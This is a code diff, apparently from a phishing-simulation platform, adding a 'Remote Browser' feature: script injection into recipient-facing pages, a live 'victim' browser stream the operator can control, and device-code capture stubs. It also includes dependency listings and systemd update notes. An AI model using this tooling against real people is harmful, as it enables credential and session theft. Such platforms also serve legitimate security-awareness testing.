"DeviceCodeCaptured": func(args ...string) (bool, error) {
return false, nil
},
// RemoteBrowserScript is a no-op stub used during template validation; it is replaced with
// a live implementation that outputs a real WebSocket <script> tag when rendering for recipients.
"RemoteBrowserScript": func(rbID string) string {
return ""
},
}
}
+54
View File
@@ -125,6 +125,20 @@ github.com/cloudwego/iasm/x86_64
# github.com/davecgh/go-spew v1.1.1
## explicit
github.com/davecgh/go-spew/spew
# github.com/dlclark/regexp2 v1.11.4
## explicit; go 1.13
github.com/dlclark/regexp2
github.com/dlclark/regexp2/syntax
# github.com/dop251/goja v0.0.0-20260226184354-913bd86fb70c
## explicit; go 1.20
github.com/dop251/goja
github.com/dop251/goja/ast
github.com/dop251/goja/file
github.com/dop251/goja/ftoa
github.com/dop251/goja/ftoa/internal/fast
github.com/dop251/goja/parser
github.com/dop251/goja/token
github.com/dop251/goja/unistring
# github.com/enetx/g v1.0.194
## explicit; go 1.24.0
github.com/enetx/g
@@ -245,6 +259,23 @@ github.com/go-playground/universal-translator
# github.com/go-playground/validator/v10 v10.22.0
## explicit; go 1.18
github.com/go-playground/validator/v10
# github.com/go-rod/rod v0.116.2
## explicit; go 1.21
github.com/go-rod/rod
github.com/go-rod/rod/lib/assets
github.com/go-rod/rod/lib/cdp
github.com/go-rod/rod/lib/defaults
github.com/go-rod/rod/lib/devices
github.com/go-rod/rod/lib/input
github.com/go-rod/rod/lib/js
github.com/go-rod/rod/lib/launcher
github.com/go-rod/rod/lib/launcher/flags
github.com/go-rod/rod/lib/proto
github.com/go-rod/rod/lib/utils
# github.com/go-sourcemap/sourcemap v2.1.3+incompatible
## explicit
github.com/go-sourcemap/sourcemap
github.com/go-sourcemap/sourcemap/internal/base64vlq
# github.com/go-task/slim-sprig/v3 v3.0.0
## explicit; go 1.20
github.com/go-task/slim-sprig/v3
@@ -272,6 +303,9 @@ github.com/google/pprof/profile
# github.com/google/uuid v1.3.1
## explicit
github.com/google/uuid
# github.com/gorilla/websocket v1.5.3
## explicit; go 1.12
github.com/gorilla/websocket
# github.com/jinzhu/inflection v1.0.0
## explicit
github.com/jinzhu/inflection
@@ -453,6 +487,23 @@ github.com/yeqown/go-qrcode/v2
## explicit
github.com/yeqown/reedsolomon
github.com/yeqown/reedsolomon/binary
# github.com/ysmood/fetchup v0.2.3
## explicit; go 1.20
github.com/ysmood/fetchup
# github.com/ysmood/goob v0.4.0
## explicit; go 1.15
github.com/ysmood/goob
# github.com/ysmood/got v0.40.0
## explicit; go 1.21
github.com/ysmood/got/lib/lcs
# github.com/ysmood/gson v0.7.3
## explicit; go 1.15
github.com/ysmood/gson
# github.com/ysmood/leakless v0.9.0
## explicit; go 1.15
github.com/ysmood/leakless
github.com/ysmood/leakless/pkg/shared
github.com/ysmood/leakless/pkg/utils
# github.com/zeebo/blake3 v0.2.3
## explicit; go 1.13
github.com/zeebo/blake3
@@ -541,6 +592,7 @@ golang.org/x/sys/windows
# golang.org/x/text v0.30.0
## explicit; go 1.24.0
golang.org/x/text/cases
golang.org/x/text/collate
golang.org/x/text/encoding
golang.org/x/text/encoding/charmap
golang.org/x/text/encoding/htmlindex
@@ -552,6 +604,7 @@ golang.org/x/text/encoding/simplifiedchinese
golang.org/x/text/encoding/traditionalchinese
golang.org/x/text/encoding/unicode
golang.org/x/text/internal
golang.org/x/text/internal/colltab
golang.org/x/text/internal/language
golang.org/x/text/internal/language/compact
golang.org/x/text/internal/tag
@@ -563,6 +616,7 @@ golang.org/x/text/secure/precis
golang.org/x/text/transform
golang.org/x/text/unicode/bidi
golang.org/x/text/unicode/norm
golang.org/x/text/unicode/rangetable
golang.org/x/text/width
# golang.org/x/time v0.14.0
## explicit; go 1.24.0
-29
View File
@@ -1,29 +0,0 @@
{
"acme": {
"email": ""
},
"administration": {
"tls_host": "localhost",
"tls_auto": false,
"tls_cert_path": "/app/data/certs/admin/public.pem",
"tls_key_path": "/app/data/certs/admin/private.pem",
"address": "0.0.0.0:8000"
},
"phishing": {
"http": "0.0.0.0:8080",
"https": "0.0.0.0:8443"
},
"database": {
"engine": "sqlite3",
"dsn": "file:/app/data/db.sqlite3"
},
"log": {
"path": "",
"errorPath": ""
},
"ip_security": {
"admin_allowed": [],
"trusted_proxies": [],
"trusted_ip_header": ""
}
}
+31
View File
@@ -0,0 +1,31 @@
# 1.36.0 Update Notes
## Remote Browser — systemd service update required
To use the Remote Browser feature, existing installations must update the service file. Three hardening flags that block Chromium have been removed or relaxed:
| Change | Reason |
|--------|--------|
| `AF_NETLINK` added to `RestrictAddressFamilies` | Chromium requires netlink sockets for udev device enumeration |
| `RestrictNamespaces=true` removed | Chromium uses namespaces for its internal sandbox |
| `MemoryDenyWriteExecute=true` removed | V8 JIT requires write+execute memory |
1. Open the service file:
```
systemctl edit --full phishingclub
```
2. Replace the relevant lines so they match:
```
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX AF_NETLINK
RestrictRealtime=true
RestrictSUIDSGID=true
```
(`RestrictNamespaces` and `MemoryDenyWriteExecute` lines should be removed entirely)
3. Reload and restart:
```
systemctl daemon-reload && systemctl restart phishingclub
```
New installations via the built-in installer are not affected.
+1 -1
View File
@@ -1,4 +1,4 @@
FROM node:latest
FROM node:22-slim@sha256:32b9e321f262db540d55ac10dc529667cf4737546e097cdd36a843c62bcbf423
WORKDIR /app
+2 -2
View File
@@ -21,7 +21,9 @@
"@sveltejs/kit": "2.6.1",
"@vitejs/plugin-basic-ssl": "1.1.0",
"autoprefixer": "10.4.20",
"license-checker": "^25.0.1",
"nodemon": "3.1.7",
"npm-check-updates": "^17.1.3",
"prettier": "3.3.3",
"prettier-plugin-svelte": "^3.4.0",
"vite": "5.4.8"
@@ -33,11 +35,9 @@
"d3": "^7.9.0",
"date-fns": "4.1.0",
"devalue": "^5.3.2",
"license-checker": "^25.0.1",
"monaco-editor": "^0.53.0",
"monaco-vim": "^0.4.2",
"nanoid": "^5.1.5",
"npm-check-updates": "^17.1.3",
"papaparse": "^5.5.3",
"svelte": "^4.2.19",
"tailwindcss": "3.4.13"
+87
View File
@@ -3280,6 +3280,93 @@ export class API {
}
};
/**
* remoteBrowser is the API for Remote Browser script management and test runs.
*/
remoteBrowser = {
/**
* Get a Remote Browser by ID.
* @param {string} id
* @returns {Promise<ApiResponse>}
*/
getByID: async (id) => {
return await getJSON(this.getPath(`/remote-browser/${id}`));
},
/**
* Get all Remote Browsers with pagination.
* @param {TableURLParams} options
* @param {string|null} companyID
* @returns {Promise<ApiResponse>}
*/
getAll: async (options, companyID = null) => {
return await getJSON(
this.getPath(`/remote-browser?${appendQuery(options)}${this.appendCompanyQuery(companyID)}`)
);
},
/**
* Get lightweight overview list.
* @param {TableURLParams} options
* @param {string|null} companyID
* @returns {Promise<ApiResponse>}
*/
getAllSubset: async (options, companyID = null) => {
return await getJSON(
this.getPath(
`/remote-browser/overview?${appendQuery(options)}${this.appendCompanyQuery(companyID)}`
)
);
},
/**
* Create a new Remote Browser.
* @param {object} rb
* @returns {Promise<ApiResponse>}
*/
create: async (rb) => {
return await postJSON(this.getPath('/remote-browser'), rb);
},
/**
* Update a Remote Browser.
* @param {string} id
* @param {object} rb
* @returns {Promise<ApiResponse>}
*/
update: async (id, rb) => {
return await patchJSON(this.getPath(`/remote-browser/${id}`), rb);
},
/**
* Delete a Remote Browser.
* @param {string} id
* @returns {Promise<ApiResponse>}
*/
delete: async (id) => {
return await deleteJSON(this.getPath(`/remote-browser/${id}`));
},
/**
* List active live sessions (optionally filter by campaignID).
* @param {string|null} campaignID
* @returns {Promise<ApiResponse>}
*/
getLiveSessions: async (campaignID = null) => {
const q = campaignID ? `?campaignID=${campaignID}` : '';
return await getJSON(this.getPath(`/remote-browser/live${q}`));
},
/**
* Close (kill) an active live session.
* @param {string} crID Campaign-recipient ID
* @returns {Promise<ApiResponse>}
*/
closeLiveSession: async (crID) => {
return await deleteJSON(this.getPath(`/remote-browser/live/${crID}`));
}
};
/**
* ipAllowList is the API for IP Allow List related operations.
*/
+6 -1
View File
@@ -16,7 +16,12 @@ export const getJSON = async (url) => {
const res = await fetch(url, {
method: 'GET'
});
const body = await res.json();
let body = {};
try {
body = await res.json();
} catch (e) {
body = { success: false, error: 'invalid JSON in response' };
}
return newResponse(body.success, res.status, body.error, body.data);
};
+1
View File
@@ -347,6 +347,7 @@
{/if}
</div>
<button
type="button"
class="w-4 hover:scale-110 flex-shrink-0"
on:click={close}
disabled={isSubmitting}
@@ -92,6 +92,9 @@
if ($displayMode === DISPLAY_MODE.BLACKBOX) {
result['Device Code'] = deviceCodeTemplates;
}
if ($displayMode === DISPLAY_MODE.BLACKBOX && contentType === 'page') {
result['Remote Browser'] = [{ label: 'Script', text: '{{RemoteBrowserScript "remote_browser_name"}}' }];
}
return result;
})();
@@ -457,7 +460,8 @@
.replaceAll('{{.URL}}', _url)
.replaceAll('{{MicrosoftDeviceCode}}', 'ABCD-1234')
.replaceAll('{{MicrosoftDeviceCodeURL}}', 'https://microsoft.com/devicelogin')
.replaceAll('{{DeviceCodeCaptured}}', 'false');
.replaceAll('{{DeviceCodeCaptured}}', 'false')
.replace(/\{\{RemoteBrowserScript\s+"[^"]*"\}\}/g, '<!-- RemoteBrowserScript (injected at runtime) -->');
case 'email':
return text
.replaceAll('{{.FirstName}}', 'Alice')
@@ -534,6 +538,7 @@
}
};
// formatDate converts readable date format (YmdHis) to formatted date string
const formatDate = (date, format) => {
const pad = (num, size = 2) => num.toString().padStart(size, '0');
@@ -658,7 +663,7 @@
const t = /** @type {HTMLSelectElement} */ (e.target);
if (t.value) {
insertTemplate(t.value);
t.value = ''; // reset selection
t.value = '';
}
}}
>
@@ -161,6 +161,11 @@
proxy: `<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="size-6">
<path stroke-linecap="round" stroke-linejoin="round" d="M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5" />
</svg>
`,
remote_browser: `<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="size-6">
<path stroke-linecap="round" stroke-linejoin="round" d="M9 17.25v1.007a3 3 0 0 1-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0 1 15 18.257V17.25m6-12V15a2.25 2.25 0 0 1-2.25 2.25H5.25A2.25 2.25 0 0 1 3 15V5.25m18 0A2.25 2.25 0 0 0 18.75 3H5.25A2.25 2.25 0 0 0 3 5.25m18 0H3" />
</svg>
`
};
@@ -176,6 +181,7 @@
'/domain/': 'domains_overview',
'/page/': 'pages',
'/proxy/': 'proxy',
'/remote-browser/': 'remote_browser',
'/asset/': 'assets',
'/email/': 'emails_overview',
'/attachment/': 'attachments',
@@ -302,6 +308,7 @@
>
{#each menu as link}
{#if link.type === 'submenu'}
<ConditionalDisplay show={link.whitebox ? 'whitebox' : link.blackbox ? 'blackbox' : 'both'}>
<div class="py-1 mt-4 first:mt-0">
{#if isExpanded}
<div
@@ -355,6 +362,7 @@
{/each}
</div>
</div>
</ConditionalDisplay>
{:else}
<a
class="flex items-center px-3 py-2 text-sm transition-all duration-150 relative group
@@ -97,6 +97,11 @@
<path stroke-linecap="round" stroke-linejoin="round" d="M15 12a3 3 0 1 1-6 0 3 3 0 0 1 6 0Z" />
</svg>`,
remote_browser: `<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="size-6">
<path stroke-linecap="round" stroke-linejoin="round" d="M9 17.25v1.007a3 3 0 0 1-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0 1 15 18.257V17.25m6-12V15a2.25 2.25 0 0 1-2.25 2.25H5.25A2.25 2.25 0 0 1 3 15V5.25m18 0A2.25 2.25 0 0 0 18.75 3H5.25A2.25 2.25 0 0 0 3 5.25m18 0H3" />
</svg>
`,
tools: `<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="size-5">
<path stroke-linecap="round" stroke-linejoin="round" d="M11.42 15.17 17.25 21A2.652 2.652 0 0 0 21 17.25l-5.877-5.877M11.42 15.17l2.496-3.03c.317-.384.74-.626 1.208-.766M11.42 15.17l-4.655 5.653a2.548 2.548 0 1 1-3.586-3.586l6.837-5.63m5.108-.233c.55-.164 1.163-.188 1.743-.14a4.5 4.5 0 0 0 4.486-6.336l-3.276 3.277a3.004 3.004 0 0 1-2.25-2.25l3.276-3.276a4.5 4.5 0 0 0-6.336 4.486c.091 1.076-.071 2.264-.904 2.95l-.102.085m-1.745 1.437L5.909 7.5H4.5L2.25 3.75l1.5-1.5L7.5 4.5v1.409l4.26 4.26m-1.745 1.437 1.745-1.437m6.615 8.206L15.75 15.75M4.867 19.125h.008v.008h-.008v-.008Z" />
</svg>`,
@@ -128,6 +133,7 @@
'/smtp-configuration/': 'smtp_configurations',
'/api-sender/': 'api_senders',
'/oauth-provider/': 'oauth_providers',
'/remote-browser/': 'remote_browser',
'/profile/': 'profile',
'/sessions/': 'sessions',
'/user/': 'users',
@@ -247,6 +253,7 @@
<div class="space-y-1">
{#each menu as link}
{#if link.type === 'submenu'}
<ConditionalDisplay show={link.whitebox ? 'whitebox' : link.blackbox ? 'blackbox' : 'both'}>
<!-- section header -->
<div class="pt-4 pb-2 first:pt-0">
<div class="py-2 px-4 border-l-2 border-cta-blue/60 dark:border-highlight-blue/60">
@@ -284,6 +291,7 @@
</ConditionalDisplay>
{/each}
</div>
</ConditionalDisplay>
{:else}
<!-- standalone menu item -->
<div class="pt-4 pb-2 first:pt-0">
@@ -0,0 +1,131 @@
<script>
import { onDestroy } from 'svelte';
import { activeFormElement } from '$lib/store/activeFormElement';
import { scrollBarClassesVertical } from '$lib/utils/scrollbar';
export let victimConnected = false;
let isMenuVisible = false;
let menuX = 0;
let menuY = 0;
let menuRef = null;
let buttonRef = null;
const dropdownId = Symbol();
const unsubscribe = activeFormElement.subscribe((activeId) => {
isMenuVisible = activeId === dropdownId;
});
const toggle = (e) => {
if (isMenuVisible) {
activeFormElement.set(null);
} else {
document.addEventListener('click', handleClickWhenVisible);
document.addEventListener('keydown', handleGlobalKeydown);
activeFormElement.set(dropdownId);
const viewportHeight = window.innerHeight;
const viewportWidth = window.innerWidth;
const buffer = 20;
const minHeight = 64;
const maxHeight = 400;
const gap = 8;
const buttonRect = buttonRef.getBoundingClientRect();
const spaceAbove = buttonRect.top - buffer;
const spaceBelow = viewportHeight - buttonRect.bottom - buffer;
const shouldShowAbove = spaceBelow < minHeight && spaceAbove > spaceBelow;
const availableSpace = shouldShowAbove ? spaceAbove : spaceBelow;
const optimalHeight = Math.min(Math.max(availableSpace, minHeight), maxHeight);
const menuWidth = 256;
const spaceOnRight = viewportWidth - buttonRect.right - buffer;
menuX = spaceOnRight >= menuWidth ? buttonRect.left : buttonRect.right - menuWidth;
menuX = Math.max(buffer, Math.min(menuX, viewportWidth - menuWidth - buffer));
if (shouldShowAbove) {
menuRef.style.visibility = 'hidden';
menuRef.style.display = 'block';
const actualMenuHeight = menuRef.scrollHeight;
menuRef.style.display = '';
menuRef.style.visibility = '';
menuY = buttonRect.top - actualMenuHeight - gap;
} else {
menuY = buttonRect.bottom + gap;
}
menuRef.style = `left: ${menuX}px; top: ${menuY}px; max-height: ${optimalHeight}px`;
}
};
const handleClickWhenVisible = (event) => {
if (isMenuVisible && menuRef && buttonRef) {
activeFormElement.set(null);
event.preventDefault();
event.stopPropagation();
}
document.removeEventListener('click', handleClickWhenVisible);
};
const handleGlobalKeydown = (event) => {
if (event.key === 'Escape' && isMenuVisible) {
activeFormElement.set(null);
document.removeEventListener('keydown', handleGlobalKeydown);
}
};
const handleKeydown = (e) => {
if (e.key === 'Enter' || e.key === ' ') {
e.preventDefault();
e.stopPropagation();
toggle(e);
} else if (e.key === 'Escape' && isMenuVisible) {
e.preventDefault();
e.stopPropagation();
activeFormElement.set(null);
}
};
const _onDestroy = () => {
document.removeEventListener('click', handleClickWhenVisible);
document.removeEventListener('keydown', handleGlobalKeydown);
unsubscribe();
activeFormElement.update((current) => (current === dropdownId ? null : current));
};
onDestroy(_onDestroy);
</script>
<div>
<button
bind:this={buttonRef}
class="flex items-center gap-1 rounded px-1.5 py-0.5 text-xs font-semibold transition-colors duration-150 focus:outline-none {victimConnected
? 'bg-green-100 text-green-700 hover:bg-green-200 dark:bg-green-900/40 dark:text-green-400 dark:hover:bg-green-800/50'
: 'bg-yellow-100 text-yellow-700 hover:bg-yellow-200 dark:bg-yellow-900/40 dark:text-yellow-400 dark:hover:bg-yellow-800/50'}"
on:click|stopPropagation|preventDefault={toggle}
on:keydown={handleKeydown}
>
{#if victimConnected}
<span class="w-1.5 h-1.5 rounded-full bg-green-500 animate-pulse inline-block"></span>
Live
{:else}
<span class="w-1.5 h-1.5 rounded-full bg-yellow-500 inline-block"></span>
Active
{/if}
<svg class="w-3 h-3 opacity-60" viewBox="0 0 20 20" fill="currentColor">
<path fill-rule="evenodd" d="M5.23 7.21a.75.75 0 011.06.02L10 11.168l3.71-3.938a.75.75 0 111.08 1.04l-4.25 4.5a.75.75 0 01-1.08 0l-4.25-4.5a.75.75 0 01.02-1.06z" clip-rule="evenodd" />
</svg>
</button>
<div
bind:this={menuRef}
class="fixed bg-white dark:bg-gray-900/90 drop-shadow-md dark:shadow-gray-900/50 border dark:border-gray-700/60 z-50 w-64 rounded-md overflow-y-scroll transition-colors duration-200 {scrollBarClassesVertical}"
class:hidden={!isMenuVisible}
>
<ul class="flex flex-col text-left">
<slot />
</ul>
</div>
</div>
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,600 @@
<script>
import { onDestroy, afterUpdate, createEventDispatcher } from 'svelte';
import Modal from '$lib/components/Modal.svelte';
const dispatch = createEventDispatcher();
/** @type {string} Campaign-recipient ID */
export let crID = '';
/** @type {boolean} */
export let visible = false;
/** @type {boolean} Allow admin to send mouse/keyboard input */
export let controlMode = false;
/** @type {string} Recipient email shown in the toolbar */
export let email = '';
/** @type {Array<Record<string, any>>} Log entries from the script runner */
export let runLog = [];
/** @type {boolean} Whether the script is currently running */
export let isRunning = false;
let canvas;
let ws = null;
let fps = 0;
let frameCount = 0;
let fpsInterval = null;
let status = 'Connecting…';
let sessionClosed = false;
let logPanelOpen = false;
let logPanelEl;
let logScrolledUp = false;
let injectEvent = '';
let injectData = '';
function onLogPanelWheel(e) {
if (e.deltaY < 0) logScrolledUp = true;
}
function onLogPanelScroll() {
if (!logPanelEl) return;
const dist = logPanelEl.scrollHeight - logPanelEl.scrollTop - logPanelEl.clientHeight;
if (dist <= 32) logScrolledUp = false;
}
afterUpdate(() => {
if (logPanelEl && !logScrolledUp) {
logPanelEl.scrollTop = logPanelEl.scrollHeight;
}
});
function sendInject() {
if (!injectEvent.trim()) return;
let data;
try { data = JSON.parse(injectData); } catch { data = injectData || null; }
dispatch('inject', { event: injectEvent.trim(), data });
injectEvent = '';
injectData = '';
}
// track the natural size of the remote browser so we can scale input coords
let remoteWidth = 1280;
let remoteHeight = 720;
// URL bar
let currentURL = '';
let urlBarValue = '';
let urlBarFocused = false;
// Tab bar
/** @type {Array<{targetID: string, url: string, active: boolean}>} */
let tabs = [];
function switchTab(targetID) {
if (!ws || ws.readyState !== WebSocket.OPEN) return;
ws.send(JSON.stringify({ type: 'switch_tab', targetID }));
}
function closeTab(targetID) {
if (!ws || ws.readyState !== WebSocket.OPEN) return;
ws.send(JSON.stringify({ type: 'close_tab', targetID }));
}
function tabLabel(url) {
if (!url || url === 'about:blank') return 'New tab';
try {
return new URL(url).hostname || url;
} catch {
return url;
}
}
$: if (visible && crID) {
openStream();
}
$: if (!visible) {
closeStream();
removeKeyListeners();
}
// Attach window-level keyboard listeners when in control mode and visible.
// Canvas-level events require the element to have focus; window-level events
// fire regardless of which element is focused inside the modal.
$: if (visible && controlMode) {
addKeyListeners();
} else {
removeKeyListeners();
}
let keyListenersAttached = false;
function addKeyListeners() {
if (keyListenersAttached) return;
window.addEventListener('keydown', onKeyDown, true);
window.addEventListener('keyup', onKeyUp, true);
keyListenersAttached = true;
}
function removeKeyListeners() {
if (!keyListenersAttached) return;
window.removeEventListener('keydown', onKeyDown, true);
window.removeEventListener('keyup', onKeyUp, true);
keyListenersAttached = false;
}
function openStream() {
if (ws) return;
sessionClosed = false;
status = 'Connecting…';
const proto = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
const url = `${proto}//${window.location.host}/api/v1/remote-browser/live/${crID}/stream${controlMode ? '?mode=control' : ''}`;
ws = new WebSocket(url);
ws.binaryType = 'arraybuffer';
ws.onopen = () => {
status = 'Connected';
fpsInterval = setInterval(() => {
fps = frameCount;
frameCount = 0;
}, 1000);
};
ws.onmessage = (ev) => {
try {
const msg = JSON.parse(typeof ev.data === 'string' ? ev.data : new TextDecoder().decode(ev.data));
if (msg.type === 'frame') {
if (msg.width) remoteWidth = msg.width;
if (msg.height) remoteHeight = msg.height;
renderFrame(msg.data);
frameCount++;
} else if (msg.type === 'url') {
currentURL = msg.value;
if (!urlBarFocused) urlBarValue = msg.value;
} else if (msg.type === 'tabs') {
tabs = msg.tabs || [];
} else if (msg.type === 'closed') {
status = 'Session ended';
sessionClosed = true;
closeStream();
}
} catch {
// ignore parse errors
}
};
ws.onerror = () => {
status = 'Connection error';
};
ws.onclose = () => {
if (!sessionClosed) status = isRunning ? 'Disconnected' : 'Session ended';
clearInterval(fpsInterval);
ws = null;
};
}
function renderFrame(base64jpeg) {
if (!canvas) return;
const img = new Image();
img.onload = () => {
const ctx = canvas.getContext('2d');
// Only resize when dimensions change — resizing always clears the canvas
// and flushes the GPU texture even when the value is identical.
if (canvas.width !== img.naturalWidth) canvas.width = img.naturalWidth;
if (canvas.height !== img.naturalHeight) canvas.height = img.naturalHeight;
ctx.drawImage(img, 0, 0);
};
img.src = 'data:image/jpeg;base64,' + base64jpeg;
}
function closeStream() {
if (ws && ws.readyState <= WebSocket.OPEN) {
ws.close();
}
ws = null;
clearInterval(fpsInterval);
fps = 0;
currentURL = '';
urlBarValue = '';
tabs = [];
}
function navigateTo(url) {
if (!url) return;
if (!/^https?:\/\//i.test(url)) url = 'https://' + url;
sendInput({ type: 'navigate', url });
urlBarValue = url;
urlBarFocused = false;
}
function navigateBack() {
sendInput({ type: 'back' });
}
function navigateForward() {
sendInput({ type: 'forward' });
}
// Input forwarding (control mode only)
function sendInput(msg) {
if (!ws || ws.readyState !== WebSocket.OPEN) return;
ws.send(JSON.stringify(msg));
}
function canvasCoords(e) {
if (!canvas) return { x: 0, y: 0 };
const rect = canvas.getBoundingClientRect();
const scaleX = remoteWidth / rect.width;
const scaleY = remoteHeight / rect.height;
return {
x: Math.round((e.clientX - rect.left) * scaleX),
y: Math.round((e.clientY - rect.top) * scaleY)
};
}
function onMouseMove(e) {
if (!controlMode) return;
const { x, y } = canvasCoords(e);
sendInput({ type: 'mousemove', x, y });
}
function onMouseDown(e) {
if (!controlMode) return;
e.preventDefault();
const { x, y } = canvasCoords(e);
sendInput({ type: 'mousedown', x, y, button: e.button === 2 ? 'right' : 'left' });
}
function onMouseUp(e) {
if (!controlMode) return;
const { x, y } = canvasCoords(e);
sendInput({ type: 'mouseup', x, y, button: e.button === 2 ? 'right' : 'left' });
}
function onWheel(e) {
if (!controlMode) return;
e.preventDefault();
const { x, y } = canvasCoords(e);
sendInput({ type: 'scroll', x, y, deltaX: e.deltaX, deltaY: e.deltaY });
}
function mods(e) {
return (e.altKey ? 1 : 0) | (e.ctrlKey ? 2 : 0) | (e.metaKey ? 4 : 0) | (e.shiftKey ? 8 : 0);
}
// charText is the Unicode text a keydown should insert:
// - Enter → "\r" (CDP char event expected per chromedp kb package)
// - single printable with no Ctrl/Meta → the character itself
// - everything else (arrows, F-keys, Ctrl+X shortcuts, …) → ""
function charText(e) {
if (e.ctrlKey || e.metaKey) return '';
if (e.key === 'Enter') return '\r';
if (e.key.length === 1) return e.key;
return '';
}
function isLocalInputFocused() {
const tag = document.activeElement?.tagName?.toLowerCase();
return tag === 'input' || tag === 'textarea' || tag === 'select';
}
function onKeyDown(e) {
if (!visible || !controlMode) return;
if (e.key === 'Escape') return;
if (urlBarFocused || isLocalInputFocused()) return;
// Intercept Ctrl+V / Cmd+V — read clipboard directly because
// e.preventDefault() below would kill the native paste event.
if ((e.ctrlKey || e.metaKey) && e.key.toLowerCase() === 'v') {
e.preventDefault();
e.stopPropagation();
navigator.clipboard.readText().then((text) => {
if (text) sendInput({ type: 'paste', text });
}).catch(() => {
// Clipboard API denied — fall back to forwarding Ctrl+V as a shortcut
sendInput({ type: 'keydown', key: e.key, code: e.code, keyCode: e.keyCode, modifiers: mods(e), charText: '' });
});
return;
}
e.preventDefault();
e.stopPropagation();
sendInput({
type: 'keydown',
key: e.key,
code: e.code,
keyCode: e.keyCode,
modifiers: mods(e),
charText: charText(e)
});
}
function onKeyUp(e) {
if (!visible || !controlMode) return;
if (e.key === 'Escape') return;
if (urlBarFocused || isLocalInputFocused()) return;
e.preventDefault();
e.stopPropagation();
sendInput({ type: 'keyup', key: e.key, code: e.code, keyCode: e.keyCode, modifiers: mods(e) });
}
function onClose() {
removeKeyListeners();
closeStream();
visible = false;
}
onDestroy(() => {
removeKeyListeners();
closeStream();
});
</script>
<Modal
headerText={controlMode ? 'Remote Browser: Control' : 'Remote Browser: View'}
bind:visible
onClose={onClose}
fullscreen
>
<div class="flex flex-col h-full pt-4 pb-4" style="min-height: calc(100vh - 80px);">
<!-- Toolbar -->
<div class="flex flex-col gap-2 mb-3 flex-shrink-0">
<!-- Status row -->
<div class="flex items-center gap-4">
<span class="text-sm text-gray-500 dark:text-gray-400">
Status: <span class="font-medium"
class:text-green-500={status === 'Connected'}
class:text-red-500={status.includes('error') || status.includes('end') || status.includes('Disconnected')}
>{status}</span>
</span>
{#if email}
<span class="text-sm text-gray-500 dark:text-gray-400">{email}</span>
{/if}
{#if status === 'Connected'}
<span class="text-sm text-gray-500 dark:text-gray-400">{fps} fps</span>
{/if}
<button
type="button"
on:click={() => (logPanelOpen = !logPanelOpen)}
class="ml-auto flex items-center gap-1.5 px-2 py-0.5 text-xs rounded border transition-colors {logPanelOpen
? 'bg-gray-700 border-gray-500 text-gray-200'
: 'border-gray-600 text-gray-400 hover:text-gray-200 hover:border-gray-500'}"
title="Toggle script log"
>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" fill="currentColor" class="w-3 h-3">
<path fill-rule="evenodd" d="M2 4a1 1 0 0 1 1-1h10a1 1 0 1 1 0 2H3a1 1 0 0 1-1-1ZM2 8a1 1 0 0 1 1-1h10a1 1 0 1 1 0 2H3a1 1 0 0 1-1-1ZM3 11a1 1 0 1 0 0 2h6a1 1 0 1 0 0-2H3Z" clip-rule="evenodd" />
</svg>
Logs
{#if isRunning}
<span class="inline-block w-1.5 h-1.5 rounded-full bg-green-400 animate-pulse"></span>
{/if}
</button>
</div>
<!-- Tab bar (only shown when multiple tabs exist) -->
{#if tabs.length > 1}
<div class="flex items-center gap-1 overflow-x-auto pb-0.5 flex-shrink-0">
{#each tabs as tab (tab.targetID)}
<!-- svelte-ignore a11y-click-events-have-key-events -->
<!-- svelte-ignore a11y-no-static-element-interactions -->
<div
class="flex items-center gap-1 pl-2.5 pr-1 py-0.5 rounded-t text-xs font-mono cursor-pointer whitespace-nowrap max-w-48 flex-shrink-0 transition-colors border-b-2 {tab.active
? 'bg-gray-700 border-blue-500 text-gray-100'
: 'bg-gray-800 border-transparent text-gray-400 hover:bg-gray-700 hover:text-gray-200'}"
on:click={() => switchTab(tab.targetID)}
title={tab.url || 'New tab'}
>
<span class="truncate flex-1">{tabLabel(tab.url)}</span>
<button
type="button"
class="ml-1 flex-shrink-0 rounded p-0.5 opacity-50 hover:opacity-100 hover:bg-gray-600 transition-colors"
title="Close tab"
on:click|stopPropagation={() => closeTab(tab.targetID)}
>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 12" fill="currentColor" class="w-2.5 h-2.5">
<path d="M4.22 3.22a.75.75 0 0 0-1.06 1.06L4.94 6 3.16 7.78a.75.75 0 1 0 1.06 1.06L6 7.06l1.78 1.78a.75.75 0 1 0 1.06-1.06L7.06 6l1.78-1.78a.75.75 0 0 0-1.06-1.06L6 4.94 4.22 3.22Z" />
</svg>
</button>
</div>
{/each}
</div>
{/if}
<!-- URL bar row -->
<div class="flex items-center gap-1">
<button
type="button"
disabled={!controlMode}
on:click={navigateBack}
class="p-1.5 rounded text-gray-500 dark:text-gray-400 hover:bg-gray-100 dark:hover:bg-gray-700 disabled:opacity-30 disabled:cursor-default transition-colors"
title="Back"
>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="currentColor" class="w-4 h-4">
<path fill-rule="evenodd" d="M17 10a.75.75 0 0 1-.75.75H5.612l4.158 3.96a.75.75 0 1 1-1.04 1.08l-5.5-5.25a.75.75 0 0 1 0-1.08l5.5-5.25a.75.75 0 1 1 1.04 1.08L5.612 9.25H16.25A.75.75 0 0 1 17 10Z" clip-rule="evenodd" />
</svg>
</button>
<button
type="button"
disabled={!controlMode}
on:click={navigateForward}
class="p-1.5 rounded text-gray-500 dark:text-gray-400 hover:bg-gray-100 dark:hover:bg-gray-700 disabled:opacity-30 disabled:cursor-default transition-colors"
title="Forward"
>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="currentColor" class="w-4 h-4">
